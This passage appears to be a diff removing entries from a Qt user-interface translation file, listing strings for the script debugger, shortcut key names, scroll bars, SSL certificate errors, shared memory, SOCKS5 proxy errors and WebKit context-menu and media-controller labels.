    -            Interrupt
    -            Interrupt
    -        
    -        
    -            Shift+F5
    -            Shift+F5
    -        
    -        
    -            Continue
    -            Continue
    -        
    -        
    -            F5
    -            F5
    -        
    -        
    -            Step Into
    -            Step Into
    -        
    -        
    -            F11
    -            F11
    -        
    -        
    -            Step Over
    -            Step Over
    -        
    -        
    -            F10
    -            F10
    -        
    -        
    -            Step Out
    -            Step Out
    -        
    -        
    -            Shift+F11
    -            Shift+F11
    -        
    -        
    -            Run to Cursor
    -            Run to Cursor
    -        
    -        
    -            Ctrl+F10
    -            Ctrl+F10
    -        
    -        
    -            Run to New Script
    -            Run to New Script
    -        
    -        
    -            Toggle Breakpoint
    -            Toggle Breakpoint
    -        
    -        
    -            F9
    -            F9
    -        
    -        
    -            Clear Debug Output
    -            Clear Debug Output
    -        
    -        
    -            Clear Error Log
    -            Clear Error Log
    -        
    -        
    -            Clear Console
    -            Clear Console
    -        
    -        
    -            &Find in Script...
    -            &Find in Script...
    -        
    -        
    -            Ctrl+F
    -            Ctrl+F
    -        
    -        
    -            Find &Next
    -            Find &Next
    -        
    -        
    -            F3
    -            F3
    -        
    -        
    -            Find &Previous
    -            Find &Previous
    -        
    -        
    -            Shift+F3
    -            Shift+F3
    -        
    -        
    -            Ctrl+G
    -            Ctrl+G
    -        
    -        
    -            Debug
    -            Debug
    -        
    -    
    -    
    -        QScriptDebuggerCodeFinderWidget
    -        
    -            Close
    -            Close
    -        
    -        
    -            Previous
    -            Previous
    -        
    -        
    -            Next
    -            Next
    -        
    -        
    -            Case Sensitive
    -            Case Sensitive
    -        
    -        
    -            Whole words
    -            Whole words
    -        
    -        
    -            <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;Search wrapped
    -            <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;Search wrapped
    -        
    -    
    -    
    -        QScriptDebuggerLocalsModel
    -        
    -            Name
    -            Name
    -        
    -        
    -            Value
    -            Value
    -        
    -    
    -    
    -        QScriptDebuggerStackModel
    -        
    -            Level
    -            Level
    -        
    -        
    -            Name
    -            Name
    -        
    -        
    -            Location
    -            Location
    -        
    -    
    -    
    -        QScriptEdit
    -        
    -            Toggle Breakpoint
    -            Toggle Breakpoint
    -        
    -        
    -            Disable Breakpoint
    -            Disable Breakpoint
    -        
    -        
    -            Enable Breakpoint
    -            Enable Breakpoint
    -        
    -        
    -            Breakpoint Condition:
    -            Breakpoint Condition:
    -        
    -    
    -    
    -        QScriptEngineDebugger
    -        
    -            Loaded Scripts
    -            Loaded Scripts
    -        
    -        
    -            Breakpoints
    -            Breakpoints
    -        
    -        
    -            Stack
    -            Stack
    -        
    -        
    -            Locals
    -            Locals
    -        
    -        
    -            Console
    -            Console
    -        
    -        
    -            Debug Output
    -            Debug Output
    -        
    -        
    -            Error Log
    -            Error Log
    -        
    -        
    -            Search
    -            Search
    -        
    -        
    -            View
    -            View
    -        
    -        
    -            Qt Script Debugger
    -            Qt Script Debugger
    -        
    -    
    -    
    -        QScriptNewBreakpointWidget
    -        
    -            Close
    -            Close
    -        
    -    
    -    
    -        QScrollBar
    -        
    -            Scroll here
    -            Scroll here
    -        
    -        
    -            Left edge
    -            Left edge
    -        
    -        
    -            Top
    -            Top
    -        
    -        
    -            Right edge
    -            Right edge
    -        
    -        
    -            Bottom
    -            Bottom
    -        
    -        
    -            Page left
    -            Page left
    -        
    -        
    -            Page up
    -            Page up
    -        
    -        
    -            Page right
    -            Page right
    -        
    -        
    -            Page down
    -            Page down
    -        
    -        
    -            Scroll left
    -            Scroll left
    -        
    -        
    -            Scroll up
    -            Scroll up
    -        
    -        
    -            Scroll right
    -            Scroll right
    -        
    -        
    -            Scroll down
    -            Scroll down
    -        
    -        
    -            Line up
    -            Line up
    -        
    -        
    -            Position
    -            Position
    -        
    -        
    -            Line down
    -            Line down
    -        
    -    
    -    
    -        QSharedMemory
    -        
    -            %1: create size is less then 0
    -            %1: create size is less then 0
    -        
    -        
    -            %1: unable to lock
    -            %1: unable to lock
    -        
    -        
    -            %1: unable to unlock
    -            %1: unable to unlock
    -        
    -        
    -            %1: permission denied
    -            %1: permission denied
    -        
    -        
    -            %1: already exists
    -            %1: already exists
    -        
    -        
    -            %1: doesn't exists
    -            %1: doesn't exists
    -        
    -        
    -            %1: out of resources
    -            %1: out of resources
    -        
    -        
    -            %1: unknown error %2
    -            %1: unknown error %2
    -        
    -        
    -            %1: key is empty
    -            %1: key is empty
    -        
    -        
    -            %1: ftok failed
    -            %1: ftok failed
    -        
    -        
    -            %1: unable to make key
    -            %1: unable to make key
    -        
    -        
    -            %1: doesn't exist
    -            %1: doesn't exist
    -        
    -        
    -            %1: UNIX key file doesn't exist
    -            %1: UNIX key file doesn't exist
    -        
    -        
    -            %1: system-imposed size restrictions
    -            %1: system-imposed size restrictions
    -        
    -        
    -            %1: not attached
    -            %1: not attached
    -        
    -        
    -            %1: invalid size
    -            %1: invalid size
    -        
    -        
    -            %1: key error
    -            %1: key error
    -        
    -        
    -            %1: size query failed
    -            %1: size query failed
    -        
    -        
    -            %1: unable to set key on lock
    -            %1: unable to set key on lock
    -        
    -    
    -    
    -        QShortcut
    -        
    -            Space
    -            Space
    -        
    -        
    -            Esc
    -            Esc
    -        
    -        
    -            Tab
    -            Tab
    -        
    -        
    -            Backtab
    -            Backtab
    -        
    -        
    -            Backspace
    -            Backspace
    -        
    -        
    -            Return
    -            Return
    -        
    -        
    -            Enter
    -            Enter
    -        
    -        
    -            Ins
    -            Ins
    -        
    -        
    -            Del
    -            Del
    -        
    -        
    -            Pause
    -            Pause
    -        
    -        
    -            Print
    -            Print
    -        
    -        
    -            SysReq
    -            SysReq
    -        
    -        
    -            Home
    -            Home
    -        
    -        
    -            End
    -            End
    -        
    -        
    -            Left
    -            Left
    -        
    -        
    -            Up
    -            Up
    -        
    -        
    -            Right
    -            Right
    -        
    -        
    -            Down
    -            Down
    -        
    -        
    -            PgUp
    -            PgUp
    -        
    -        
    -            PgDown
    -            PgDown
    -        
    -        
    -            CapsLock
    -            CapsLock
    -        
    -        
    -            NumLock
    -            NumLock
    -        
    -        
    -            ScrollLock
    -            ScrollLock
    -        
    -        
    -            Menu
    -            Menu
    -        
    -        
    -            Help
    -            Help
    -        
    -        
    -            Back
    -            Back
    -        
    -        
    -            Forward
    -            Forward
    -        
    -        
    -            Stop
    -            Stop
    -        
    -        
    -            Refresh
    -            Refresh
    -        
    -        
    -            Volume Down
    -            Volume Down
    -        
    -        
    -            Volume Mute
    -            Volume Mute
    -        
    -        
    -            Volume Up
    -            Volume Up
    -        
    -        
    -            Bass Boost
    -            Bass Boost
    -        
    -        
    -            Bass Up
    -            Bass Up
    -        
    -        
    -            Bass Down
    -            Bass Down
    -        
    -        
    -            Treble Up
    -            Treble Up
    -        
    -        
    -            Treble Down
    -            Treble Down
    -        
    -        
    -            Media Play
    -            Media Play
    -        
    -        
    -            Media Stop
    -            Media Stop
    -        
    -        
    -            Media Previous
    -            Media Previous
    -        
    -        
    -            Media Next
    -            Media Next
    -        
    -        
    -            Media Record
    -            Media Record
    -        
    -        
    -            Favorites
    -            Favorites
    -        
    -        
    -            Search
    -            Search
    -        
    -        
    -            Standby
    -            Standby
    -        
    -        
    -            Open URL
    -            Open URL
    -        
    -        
    -            Launch Mail
    -            Launch Mail
    -        
    -        
    -            Launch Media
    -            Launch Media
    -        
    -        
    -            Launch (0)
    -            Launch (0)
    -        
    -        
    -            Launch (1)
    -            Launch (1)
    -        
    -        
    -            Launch (2)
    -            Launch (2)
    -        
    -        
    -            Launch (3)
    -            Launch (3)
    -        
    -        
    -            Launch (4)
    -            Launch (4)
    -        
    -        
    -            Launch (5)
    -            Launch (5)
    -        
    -        
    -            Launch (6)
    -            Launch (6)
    -        
    -        
    -            Launch (7)
    -            Launch (7)
    -        
    -        
    -            Launch (8)
    -            Launch (8)
    -        
    -        
    -            Launch (9)
    -            Launch (9)
    -        
    -        
    -            Launch (A)
    -            Launch (A)
    -        
    -        
    -            Launch (B)
    -            Launch (B)
    -        
    -        
    -            Launch (C)
    -            Launch (C)
    -        
    -        
    -            Launch (D)
    -            Launch (D)
    -        
    -        
    -            Launch (E)
    -            Launch (E)
    -        
    -        
    -            Launch (F)
    -            Launch (F)
    -        
    -        
    -            Monitor Brightness Up
    -            Monitor Brightness Up
    -        
    -        
    -            Monitor Brightness Down
    -            Monitor Brightness Down
    -        
    -        
    -            Keyboard Light On/Off
    -            Keyboard Light On/Off
    -        
    -        
    -            Keyboard Brightness Up
    -            Keyboard Brightness Up
    -        
    -        
    -            Keyboard Brightness Down
    -            Keyboard Brightness Down
    -        
    -        
    -            Power Off
    -            Power Off
    -        
    -        
    -            Wake Up
    -            Wake Up
    -        
    -        
    -            Eject
    -            Eject
    -        
    -        
    -            Screensaver
    -            Screensaver
    -        
    -        
    -            WWW
    -            WWW
    -        
    -        
    -            Sleep
    -            Sleep
    -        
    -        
    -            LightBulb
    -            LightBulb
    -        
    -        
    -            Shop
    -            Shop
    -        
    -        
    -            History
    -            History
    -        
    -        
    -            Add Favorite
    -            Add Favorite
    -        
    -        
    -            Hot Links
    -            Hot Links
    -        
    -        
    -            Adjust Brightness
    -            Adjust Brightness
    -        
    -        
    -            Finance
    -            Finance
    -        
    -        
    -            Community
    -            Community
    -        
    -        
    -            Audio Rewind
    -            Audio Rewind
    -        
    -        
    -            Back Forward
    -            Back Forward
    -        
    -        
    -            Application Left
    -            Application Left
    -        
    -        
    -            Application Right
    -            Application Right
    -        
    -        
    -            Book
    -            Book
    -        
    -        
    -            CD
    -            CD
    -        
    -        
    -            Calculator
    -            Calculator
    -        
    -        
    -            Clear
    -            Clear
    -        
    -        
    -            Clear Grab
    -            Clear Grab
    -        
    -        
    -            Close
    -            Close
    -        
    -        
    -            Copy
    -            Copy
    -        
    -        
    -            Cut
    -            Cut
    -        
    -        
    -            Display
    -            Display
    -        
    -        
    -            DOS
    -            DOS
    -        
    -        
    -            Documents
    -            Documents
    -        
    -        
    -            Spreadsheet
    -            Spreadsheet
    -        
    -        
    -            Browser
    -            Browser
    -        
    -        
    -            Game
    -            Game
    -        
    -        
    -            Go
    -            Go
    -        
    -        
    -            iTouch
    -            iTouch
    -        
    -        
    -            Logoff
    -            Logoff
    -        
    -        
    -            Market
    -            Market
    -        
    -        
    -            Meeting
    -            Meeting
    -        
    -        
    -            Keyboard Menu
    -            Keyboard Menu
    -        
    -        
    -            Menu PB
    -            Menu PB
    -        
    -        
    -            My Sites
    -            My Sites
    -        
    -        
    -            News
    -            News
    -        
    -        
    -            Home Office
    -            Home Office
    -        
    -        
    -            Option
    -            Option
    -        
    -        
    -            Paste
    -            Paste
    -        
    -        
    -            Phone
    -            Phone
    -        
    -        
    -            Reply
    -            Reply
    -        
    -        
    -            Reload
    -            Reload
    -        
    -        
    -            Rotate Windows
    -            Rotate Windows
    -        
    -        
    -            Rotation PB
    -            Rotation PB
    -        
    -        
    -            Rotation KB
    -            Rotation KB
    -        
    -        
    -            Save
    -            Save
    -        
    -        
    -            Send
    -            Send
    -        
    -        
    -            Spellchecker
    -            Spellchecker
    -        
    -        
    -            Split Screen
    -            Split Screen
    -        
    -        
    -            Support
    -            Support
    -        
    -        
    -            Task Panel
    -            Task Panel
    -        
    -        
    -            Terminal
    -            Terminal
    -        
    -        
    -            Tools
    -            Tools
    -        
    -        
    -            Travel
    -            Travel
    -        
    -        
    -            Video
    -            Video
    -        
    -        
    -            Word Processor
    -            Word Processor
    -        
    -        
    -            XFer
    -            XFer
    -        
    -        
    -            Zoom In
    -            Zoom In
    -        
    -        
    -            Zoom Out
    -            Zoom Out
    -        
    -        
    -            Away
    -            Away
    -        
    -        
    -            Messenger
    -            Messenger
    -        
    -        
    -            WebCam
    -            WebCam
    -        
    -        
    -            Mail Forward
    -            Mail Forward
    -        
    -        
    -            Pictures
    -            Pictures
    -        
    -        
    -            Music
    -            Music
    -        
    -        
    -            Battery
    -            Battery
    -        
    -        
    -            Bluetooth
    -            Bluetooth
    -        
    -        
    -            Wireless
    -            Wireless
    -        
    -        
    -            Ultra Wide Band
    -            Ultra Wide Band
    -        
    -        
    -            Audio Forward
    -            Audio Forward
    -        
    -        
    -            Audio Repeat
    -            Audio Repeat
    -        
    -        
    -            Audio Random Play
    -            Audio Random Play
    -        
    -        
    -            Subtitle
    -            Subtitle
    -        
    -        
    -            Audio Cycle Track
    -            Audio Cycle Track
    -        
    -        
    -            Time
    -            Time
    -        
    -        
    -            View
    -            View
    -        
    -        
    -            Top Menu
    -            Top Menu
    -        
    -        
    -            Suspend
    -            Suspend
    -        
    -        
    -            Hibernate
    -            Hibernate
    -        
    -        
    -            Print Screen
    -            Print Screen
    -        
    -        
    -            Page Up
    -            Page Up
    -        
    -        
    -            Page Down
    -            Page Down
    -        
    -        
    -            Caps Lock
    -            Caps Lock
    -        
    -        
    -            Num Lock
    -            Num Lock
    -        
    -        
    -            Number Lock
    -            Number Lock
    -        
    -        
    -            Scroll Lock
    -            Scroll Lock
    -        
    -        
    -            Insert
    -            Insert
    -        
    -        
    -            Delete
    -            Delete
    -        
    -        
    -            Escape
    -            Escape
    -        
    -        
    -            System Request
    -            System Request
    -        
    -        
    -            Select
    -            Select
    -        
    -        
    -            Yes
    -            Yes
    -        
    -        
    -            No
    -            No
    -        
    -        
    -            Context1
    -            Context1
    -        
    -        
    -            Context2
    -            Context2
    -        
    -        
    -            Context3
    -            Context3
    -        
    -        
    -            Context4
    -            Context4
    -        
    -        
    -            Call
    -            Call
    -        
    -        
    -            Hangup
    -            Hangup
    -        
    -        
    -            Flip
    -            Flip
    -        
    -        
    -            Ctrl
    -            Ctrl
    -        
    -        
    -            Shift
    -            Shift
    -        
    -        
    -            Alt
    -            Alt
    -        
    -        
    -            Meta
    -            Meta
    -        
    -        
    -            +
    -            +
    -        
    -        
    -            F%1
    -            F%1
    -        
    -        
    -            Home Page
    -            Home Page
    -        
    -    
    -    
    -        QSlider
    -        
    -            Page left
    -            Page left
    -        
    -        
    -            Page up
    -            Page up
    -        
    -        
    -            Position
    -            Position
    -        
    -        
    -            Page right
    -            Page right
    -        
    -        
    -            Page down
    -            Page down
    -        
    -    
    -    
    -        QSocks5SocketEngine
    -        
    -            Connection to proxy refused
    -            Connection to proxy refused
    -        
    -        
    -            Connection to proxy closed prematurely
    -            Connection to proxy closed prematurely
    -        
    -        
    -            Proxy host not found
    -            Proxy host not found
    -        
    -        
    -            Connection to proxy timed out
    -            Connection to proxy timed out
    -        
    -        
    -            Proxy authentication failed
    -            Proxy authentication failed
    -        
    -        
    -            Proxy authentication failed: %1
    -            Proxy authentication failed: %1
    -        
    -        
    -            SOCKS version 5 protocol error
    -            SOCKS version 5 protocol error
    -        
    -        
    -            General SOCKSv5 server failure
    -            General SOCKSv5 server failure
    -        
    -        
    -            Connection not allowed by SOCKSv5 server
    -            Connection not allowed by SOCKSv5 server
    -        
    -        
    -            TTL expired
    -            TTL expired
    -        
    -        
    -            SOCKSv5 command not supported
    -            SOCKSv5 command not supported
    -        
    -        
    -            Address type not supported
    -            Address type not supported
    -        
    -        
    -            Unknown SOCKSv5 proxy error code 0x%1
    -            Unknown SOCKSv5 proxy error code 0x%1
    -        
    -        
    -            Network operation timed out
    -            Network operation timed out
    -        
    -    
    -    
    -        QSoftKeyManager
    -        
    -            Ok
    -            Ok
    -        
    -        
    -            Select
    -            Select
    -        
    -        
    -            Done
    -            Done
    -        
    -        
    -            Options
    -            Options
    -        
    -        
    -            Cancel
    -            Cancel
    -        
    -        
    -            Exit
    -            Exit
    -        
    -    
    -    
    -        QSpinBox
    -        
    -            More
    -            More
    -        
    -        
    -            Less
    -            Less
    -        
    -    
    -    
    -        QSql
    -        
    -            Delete
    -            Delete
    -        
    -        
    -            Delete this record?
    -            Delete this record?
    -        
    -        
    -            Yes
    -            Yes
    -        
    -        
    -            No
    -            No
    -        
    -        
    -            Insert
    -            Insert
    -        
    -        
    -            Update
    -            Update
    -        
    -        
    -            Save edits?
    -            Save edits?
    -        
    -        
    -            Cancel
    -            Cancel
    -        
    -        
    -            Confirm
    -            Confirm
    -        
    -        
    -            Cancel your edits?
    -            Cancel your edits?
    -        
    -    
    -    
    -        QSslSocket
    -        
    -            Unable to write data: %1
    -            Unable to write data: %1
    -        
    -        
    -            Unable to decrypt data: %1
    -            Unable to decrypt data: %1
    -        
    -        
    -            Error while reading: %1
    -            Error while reading: %1
    -        
    -        
    -            Error during SSL handshake: %1
    -            Error during SSL handshake: %1
    -        
    -        
    -            Error creating SSL context (%1)
    -            Error creating SSL context (%1)
    -        
    -        
    -            Invalid or empty cipher list (%1)
    -            Invalid or empty cipher list (%1)
    -        
    -        
    -            Private key does not certify public key, %1
    -            Private key does not certify public key, %1
    -        
    -        
    -            Error creating SSL session, %1
    -            Error creating SSL session, %1
    -        
    -        
    -            Error creating SSL session: %1
    -            Error creating SSL session: %1
    -        
    -        
    -            Cannot provide a certificate with no key, %1
    -            Cannot provide a certificate with no key, %1
    -        
    -        
    -            Error loading local certificate, %1
    -            Error loading local certificate, %1
    -        
    -        
    -            Error loading private key, %1
    -            Error loading private key, %1
    -        
    -        
    -            No error
    -            No error
    -        
    -        
    -            The issuer certificate could not be found
    -            The issuer certificate could not be found
    -        
    -        
    -            The certificate signature could not be decrypted
    -            The certificate signature could not be decrypted
    -        
    -        
    -            The public key in the certificate could not be read
    -            The public key in the certificate could not be read
    -        
    -        
    -            The signature of the certificate is invalid
    -            The signature of the certificate is invalid
    -        
    -        
    -            The certificate is not yet valid
    -            The certificate is not yet valid
    -        
    -        
    -            The certificate has expired
    -            The certificate has expired
    -        
    -        
    -            The certificate's notBefore field contains an invalid time
    -            The certificate's notBefore field contains an invalid time
    -        
    -        
    -            The certificate's notAfter field contains an invalid time
    -            The certificate's notAfter field contains an invalid time
    -        
    -        
    -            The certificate is self-signed, and untrusted
    -            The certificate is self-signed, and untrusted
    -        
    -        
    -            The root certificate of the certificate chain is self-signed, and untrusted
    -            The root certificate of the certificate chain is self-signed, and untrusted
    -        
    -        
    -            The issuer certificate of a locally looked up certificate could not be found
    -            The issuer certificate of a locally looked up certificate could not be found
    -        
    -        
    -            No certificates could be verified
    -            No certificates could be verified
    -        
    -        
    -            One of the CA certificates is invalid
    -            One of the CA certificates is invalid
    -        
    -        
    -            The basicConstraints path length parameter has been exceeded
    -            The basicConstraints path length parameter has been exceeded
    -        
    -        
    -            The supplied certificate is unsuitable for this purpose
    -            The supplied certificate is unsuitable for this purpose
    -        
    -        
    -            The root CA certificate is not trusted for this purpose
    -            The root CA certificate is not trusted for this purpose
    -        
    -        
    -            The root CA certificate is marked to reject the specified purpose
    -            The root CA certificate is marked to reject the specified purpose
    -        
    -        
    -            The current candidate issuer certificate was rejected because its subject name did not match the issuer name of the current certificate
    -            The current candidate issuer certificate was rejected because its subject name did not match the issuer name of the current certificate
    -        
    -        
    -            The current candidate issuer certificate was rejected because its issuer name and serial number was present and did not match the authority key identifier of the current certificate
    -            The current candidate issuer certificate was rejected because its issuer name and serial number was present and did not match the authority key identifier of the current certificate
    -        
    -        
    -            The peer did not present any certificate
    -            The peer did not present any certificate
    -        
    -        
    -            The host name did not match any of the valid hosts for this certificate
    -            The host name did not match any of the valid hosts for this certificate
    -        
    -        
    -            Unknown error
    -            Unknown error
    -        
    -    
    -    
    -        QStateMachine
    -        
    -            Missing initial state in compound state '%1'
    -            Missing initial state in compound state '%1'
    -        
    -        
    -            Missing default state in history state '%1'
    -            Missing default state in history state '%1'
    -        
    -        
    -            No common ancestor for targets and source of transition from state '%1'
    -            No common ancestor for targets and source of transition from state '%1'
    -        
    -        
    -            Unknown error
    -            Unknown error
    -        
    -    
    -    
    -        QSystemSemaphore
    -        
    -            %1: does not exist
    -            %1: does not exist
    -        
    -        
    -            %1: out of resources
    -            %1: out of resources
    -        
    -        
    -            %1: permission denied
    -            %1: permission denied
    -        
    -        
    -            %1: already exists
    -            %1: already exists
    -        
    -        
    -            %1: unknown error %2
    -            %1: unknown error %2
    -        
    -    
    -    
    -        QTDSDriver
    -        
    -            Unable to open connection
    -            Unable to open connection
    -        
    -        
    -            Unable to use database
    -            Unable to use database
    -        
    -    
    -    
    -        QTabBar
    -        
    -            Scroll Left
    -            Scroll Left
    -        
    -        
    -            Scroll Right
    -            Scroll Right
    -        
    -    
    -    
    -        QTcpServer
    -        
    -            Operation on socket is not supported
    -            Operation on socket is not supported
    -        
    -    
    -    
    -        QTextControl
    -        
    -            &Undo
    -            &Undo
    -        
    -        
    -            &Redo
    -            &Redo
    -        
    -        
    -            Cu&t
    -            Cu&t
    -        
    -        
    -            &Copy
    -            &Copy
    -        
    -        
    -            Copy &Link Location
    -            Copy &Link Location
    -        
    -        
    -            &Paste
    -            &Paste
    -        
    -        
    -            Delete
    -            Delete
    -        
    -        
    -            Select All
    -            Select All
    -        
    -    
    -    
    -        QToolButton
    -        
    -            Press
    -            Press
    -        
    -        
    -            Open
    -            Open
    -        
    -    
    -    
    -        QUdpSocket
    -        
    -            This platform does not support IPv6
    -            This platform does not support IPv6
    -        
    -    
    -    
    -        QUndoGroup
    -        
    -            Undo
    -            Undo
    -        
    -        
    -            Redo
    -            Redo
    -        
    -    
    -    
    -        QUndoModel
    -        
    -            <empty>
    -            <empty>
    -        
    -    
    -    
    -        QUndoStack
    -        
    -            Undo
    -            Undo
    -        
    -        
    -            Redo
    -            Redo
    -        
    -    
    -    
    -        QUnicodeControlCharacterMenu
    -        
    -            LRM Left-to-right mark
    -            LRM Left-to-right mark
    -        
    -        
    -            RLM Right-to-left mark
    -            RLM Right-to-left mark
    -        
    -        
    -            ZWJ Zero width joiner
    -            ZWJ Zero width joiner
    -        
    -        
    -            ZWNJ Zero width non-joiner
    -            ZWNJ Zero width non-joiner
    -        
    -        
    -            ZWSP Zero width space
    -            ZWSP Zero width space
    -        
    -        
    -            LRE Start of left-to-right embedding
    -            LRE Start of left-to-right embedding
    -        
    -        
    -            RLE Start of right-to-left embedding
    -            RLE Start of right-to-left embedding
    -        
    -        
    -            LRO Start of left-to-right override
    -            LRO Start of left-to-right override
    -        
    -        
    -            RLO Start of right-to-left override
    -            RLO Start of right-to-left override
    -        
    -        
    -            PDF Pop directional formatting
    -            PDF Pop directional formatting
    -        
    -        
    -            Insert Unicode control character
    -            Insert Unicode control character
    -        
    -    
    -    
    -        QWebFrame
    -        
    -            Request cancelled
    -            Request cancelled
    -        
    -        
    -            Request blocked
    -            Request blocked
    -        
    -        
    -            Cannot show URL
    -            Cannot show URL
    -        
    -        
    -            Frame load interrupted by policy change
    -            Frame load interrupted by policy change
    -        
    -        
    -            Cannot show mimetype
    -            Cannot show mimetype
    -        
    -        
    -            File does not exist
    -            File does not exist
    -        
    -    
    -    
    -        QWebPage
    -        
    -            Submit
    -            default label for Submit buttons in forms on web pages
    -            Submit
    -        
    -        
    -            Submit
    -            Submit (input element) alt text for <input> elements with no alt, title, or value
    -            Submit
    -        
    -        
    -            Reset
    -            default label for Reset buttons in forms on web pages
    -            Reset
    -        
    -        
    -            Choose File
    -            title for file button used in HTML forms
    -            Choose File
    -        
    -        
    -            No file selected
    -            text to display in file button used in HTML forms when no file is selected
    -            No file selected
    -        
    -        
    -            Open in New Window
    -            Open in New Window context menu item
    -            Open in New Window
    -        
    -        
    -            Save Link...
    -            Download Linked File context menu item
    -            Save Link...
    -        
    -        
    -            Copy Link
    -            Copy Link context menu item
    -            Copy Link
    -        
    -        
    -            Open Image
    -            Open Image in New Window context menu item
    -            Open Image
    -        
    -        
    -            Save Image
    -            Download Image context menu item
    -            Save Image
    -        
    -        
    -            Copy Image
    -            Copy Link context menu item
    -            Copy Image
    -        
    -        
    -            Open Frame
    -            Open Frame in New Window context menu item
    -            Open Frame
    -        
    -        
    -            Copy
    -            Copy context menu item
    -            Copy
    -        
    -        
    -            Go Back
    -            Back context menu item
    -            Go Back
    -        
    -        
    -            Go Forward
    -            Forward context menu item
    -            Go Forward
    -        
    -        
    -            Stop
    -            Stop context menu item
    -            Stop
    -        
    -        
    -            Reload
    -            Reload context menu item
    -            Reload
    -        
    -        
    -            Cut
    -            Cut context menu item
    -            Cut
    -        
    -        
    -            Paste
    -            Paste context menu item
    -            Paste
    -        
    -        
    -            No Guesses Found
    -            No Guesses Found context menu item
    -            No Guesses Found
    -        
    -        
    -            Ignore
    -            Ignore Spelling context menu item
    -            Ignore
    -        
    -        
    -            Add To Dictionary
    -            Learn Spelling context menu item
    -            Add To Dictionary
    -        
    -        
    -            Search The Web
    -            Search The Web context menu item
    -            Search The Web
    -        
    -        
    -            Look Up In Dictionary
    -            Look Up in Dictionary context menu item
    -            Look Up In Dictionary
    -        
    -        
    -            Open Link
    -            Open Link context menu item
    -            Open Link
    -        
    -        
    -            Ignore
    -            Ignore Grammar context menu item
    -            Ignore
    -        
    -        
    -            Spelling
    -            Spelling and Grammar context sub-menu item
    -            Spelling
    -        
    -        
    -            Show Spelling and Grammar
    -            menu item title
    -            Show Spelling and Grammar
    -        
    -        
    -            Hide Spelling and Grammar
    -            menu item title
    -            Hide Spelling and Grammar
    -        
    -        
    -            Check Spelling
    -            Check spelling context menu item
    -            Check Spelling
    -        
    -        
    -            Check Spelling While Typing
    -            Check spelling while typing context menu item
    -            Check Spelling While Typing
    -        
    -        
    -            Check Grammar With Spelling
    -            Check grammar with spelling context menu item
    -            Check Grammar With Spelling
    -        
    -        
    -            Fonts
    -            Font context sub-menu item
    -            Fonts
    -        
    -        
    -            Bold
    -            Bold context menu item
    -            Bold
    -        
    -        
    -            Italic
    -            Italic context menu item
    -            Italic
    -        
    -        
    -            Underline
    -            Underline context menu item
    -            Underline
    -        
    -        
    -            Outline
    -            Outline context menu item
    -            Outline
    -        
    -        
    -            Direction
    -            Writing direction context sub-menu item
    -            Direction
    -        
    -        
    -            Text Direction
    -            Text direction context sub-menu item
    -            Text Direction
    -        
    -        
    -            Default
    -            Default writing direction context menu item
    -            Default
    -        
    -        
    -            Left to Right
    -            Left to Right context menu item
    -            Left to Right
    -        
    -        
    -            Right to Left
    -            Right to Left context menu item
    -            Right to Left
    -        
    -        
    -            Loading...
    -            Media controller status message when the media is loading
    -            Loading...
    -        
    -        
    -            Live Broadcast
    -            Media controller status message when watching a live broadcast
    -            Live Broadcast
    -        
    -        
    -            Audio Element
    -            Media controller element
    -            Audio Element
    -        
    -        
    -            Video Element
    -            Media controller element
    -            Video Element
    -        
    -        
    -            Mute Button
    -            Media controller element
    -            Mute Button
    -        
    -        
    -            Unmute Button
    -            Media controller element
    -            Unmute Button
    -        
    -        
    -            Play Button
    -            Media controller element
    -            Play Button
    -        
    -        
    -            Pause Button
    -            Media controller element
    -            Pause Button
    -        
    -        
    -            Slider
    -            Media controller element
    -            Slider
    -        
    -        
    -            Slider Thumb
    -            Media controller element
    -            Slider Thumb
    -        
    -        
    -            Rewind Button
    -            Media controller element
    -            Rewind Button
    -        
    -        
    -            Return to Real-time Button
    -            Media controller element
    -            Return to Real-time Button
    -        
    -        
    -            Elapsed Time
    -            Media controller element
    -            Elapsed Time
    -        
    -        
    -            Remaining Time
    -            Media controller element
    -            Remaining Time
    -        
    -        
    -            Status Display
    -            Media controller element
    -            Status Display
    -        
    -        
    -            Fullscreen Button
    -            Media controller element
    -            Fullscreen Button
    -        
    -        
    -            Seek Forward Button
    -            Media controller element
    -            Seek Forward Button
    -        
    -        
    -            Seek Back Button
    -            Media controller element
    -            Seek Back Button
    -        
    -        
    -            Audio element playback controls and status display
    -            Media controller element
    -            Audio element playback controls and status display
    -        
    -        
    -            Video element playback controls and status display
    -            Media controller element
    -            Video element playback controls and status display
    -        
    -        
    -            Mute audio tracks
    -            Media controller element
    -            Mute audio tracks
    -        
    -        
    -            Unmute audio tracks
    -            Media controller element
    -            Unmute audio tracks
    -        
    -        
    -            Begin playback
    -            Media controller element
    -            Begin playback
    -        
    -        
    -            Pause playback
    -            Media controller element
    -            Pause playback
    -        
    -        
    -            Movie time scrubber
    -            Media controller element
    -            Movie time scrubber
    -        
    -        
    -            Movie time scrubber thumb
    -            Media controller element
    -            Movie time scrubber thumb
    -        
    -        
    -            Rewind movie
    -            Media controller element
    -            Rewind movie
    -        
    -        
    -            Return streaming movie to real-time
    -            Media controller element
    -            Return streaming movie to real-time
    -        
    -        
    -            Current movie time
    -            Media controller element
    -            Current movie time
    -        
    -        
    -            Remaining movie time
    -            Media controller element
    -            Remaining movie time
    -        
    -        
    -            Current movie status
    -            Media controller element
    -            Current movie status
    -        
    -        
    -            Play movie in full-screen mode
    -            Media controller element
    -            Play movie in full-screen mode
    -        
    -        
    -            Seek quickly back
    -            Media controller element
    -            Seek quickly back
    -        
    -        
    -            Seek quickly forward
    -            Media controller element
    -            Seek quickly forward
    -        
    -        
    -            Indefinite time
    -            Media time description
    -            Indefinite time
    -        
    -        
    -            %1 days %2 hours %3 minutes %4 seconds
    -            Media time description
    -            %1 days %2 hours %3 minutes %4 seconds
    -        
    -        
    -            %1 hours %2 minutes %3 seconds
    -            Media time description
    -            %1 hours %2 minutes %3 seconds
    -        
    -        
    -            %1 minutes %2 seconds
    -            Media time description
    -            %1 minutes %2 seconds
    -        
    -        
    -            %1 seconds
    -            Media time description
    -            %1 seconds
    -        
    -        
    -            Inspect
    -            Inspect Element context menu item
    -            Inspect
    -        
    -        
    -            No recent searches
    -            Label for only item in menu that appears when clicking on the search field image, when no searches have been performed
    -            No recent searches
    -        
    -        
    -            Recent searches
    -            label for first item in the menu that appears when clicking on the search field image, used as embedded menu title
    -            Recent searches
    -        
    -        
    -            Clear recent searches
    -            menu item in Recent Searches menu that empties menu's contents
    -            Clear recent searches
    -        
    -        
    -            Unknown
    -            Unknown filesize FTP directory listing item
    -            Unknown
    -        
    -        
